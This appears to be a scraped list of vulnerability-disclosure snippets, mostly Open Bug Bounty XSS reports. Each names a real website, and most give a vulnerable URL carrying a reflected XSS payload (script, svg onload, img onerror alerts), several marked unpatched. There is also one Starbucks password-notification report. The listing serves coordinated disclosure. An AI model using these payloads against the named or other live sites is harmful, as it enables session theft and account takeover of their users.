mytischtennis.de XSS vulnerability

Vulnerable URL: https://www.mytischtennis.de/community/login Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 103112 VIP website status:| No Check mytischtennis.de SSL connection:|...

miekewijnakker.nl XSS vulnerability

Vulnerable URL: http://www.miekewijnakker.nl/website/animaties.php?categorie=feestenenpartijen%22%27--!%3E%3Cscript%3EalertOPENBUGBOUNTY%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

Starbucks: Password Change not notified when changed from settings

Hi, Password change is not notified to the account owner if its made from the account settings. This is very crucial as once the account is compromised, the attacker can change the password without giving any clue to the victim. Steps to reproduce the issue: 1. Sign in with a valid username and...

exittopproperties.com XSS vulnerability

Vulnerable URL: http://www.exittopproperties.com/real-estate/Brooklyn-MLS/Multi-Unit/search/?searchaction=QuickSearch"'--!=SEARCH!=8ffa7dace7524bd-BD96782D-CD10-0B99-381251F88F0934EA=5=1=desc=on=mPrice=exitrealtytopproperties=exitrealtytopproperties=14907015=2,3 Details: Description| Value ---|--...

hljhospital.org.cn XSS vulnerability

Vulnerable URL: http://www.hljhospital.org.cn/news.php?classid=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22XSSPOSED%22%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 15009936 VIP website status:| No Chec...

v1sports.com XSS vulnerability

Vulnerable URL: http://v1sports.com/?s=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017...

rabota.nur.kz XSS vulnerability

On the 23.06.2017 security researcher reported a XSS vulnerability affecting the rabota.nur.kz website via the Open Bug Bounty coordinated vulnerability disclosure program. Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerability submitted via Open Bug Bounty| 23 June, 2017 22:33...

bbcrecords.co.uk XSS vulnerability

Vulnerable URL: http://www.bbcrecords.co.uk/search.php?field=Randomtext="'--!=Submit Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4106685 VIP website status:| No Check...

rfidick.de XSS vulnerability

Vulnerable URL: http://rfidick.de/kontakt/?action=sendmail Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017 15:08 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10961277 VIP website status:| No Check rfidick.d...

elmag.de XSS vulnerability

Vulnerable URL: https://www.elmag.de/dede/catalogsearch/result/?q=%22%3Eblub%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E%22%3Eblub%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Public...

erzabtei-beuron.de XSS vulnerability

Vulnerable URL: http://www.erzabtei-beuron.de/service/suchen/index.html?action=1=%22%2F%3E%27%3E%22%3Eu%3Ci%3E5%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:|...

schulteherenmode.nl XSS vulnerability

On the 23.06.2017 security researcher reported a XSS vulnerability affecting the schulteherenmode.nl website via the Open Bug Bounty coordinated vulnerability disclosure program. Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerability submitted via Open Bug Bounty| 23 June, 2017...

wgzimmer.ch XSS vulnerability

Vulnerable URL: https://www.wgzimmer.ch/wgzimmer/search/mate.html? Details: Description| Value ---|--- Patched:| Yes, at 10.07.2017 Latest check for patch:| 10.07.2017 17:45 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 152710 VIP website status:| No Check...

iib.uam.es XSS vulnerability

Vulnerable URL: https://www.iib.uam.es/portal/en/personal?ppid=APPERSportletWARAPIIBportletINSTANCEvAb1plifecycle=0pstate=normalpmode=viewpcolid=column-3pcolcount=1&APPERSportletWARAPIIBportletINSTANCEvAb1action=search Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

youtubemaza.com XSS vulnerability

Vulnerable URL: http://www.youtubemaza.com/home/search/default?find=%22%3E%3Csvg%20onload=alert/OPENBUGBOUNTY/%3E=Search Details: Description| Value ---|--- Patched:| No Latest check for patch:| 02.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5337100 VIP...

bicat.sfb-net.nl XSS vulnerability

Vulnerable URL:...

top147.com XSS vulnerability

Vulnerable URL: http://www.top147.com/search.php?mod=search=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.20...

posuddeluxe.ua XSS vulnerability

Vulnerable URL: https://posuddeluxe.ua/store/search?q=%3c%2fscript%3e%3cimg+src%3dx+onerror%3dprompt%28%2fxssposed%2f%29%3e Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1162434 V...

laserena.cl XSS vulnerability

Vulnerable URL: http://www.laserena.cl/buscador/pagina/1/?buscador=%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 995772 VIP website...

skatepro.nl XSS vulnerability

Vulnerable URL: https://www.skatepro.nl/catalog/search.php?keywords=%3C%2Ftitle%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at 09.01.2018 Latest check for patch:| 09.01.2018 09:10 GMT Vulnerability type:| XSS Vulnerability...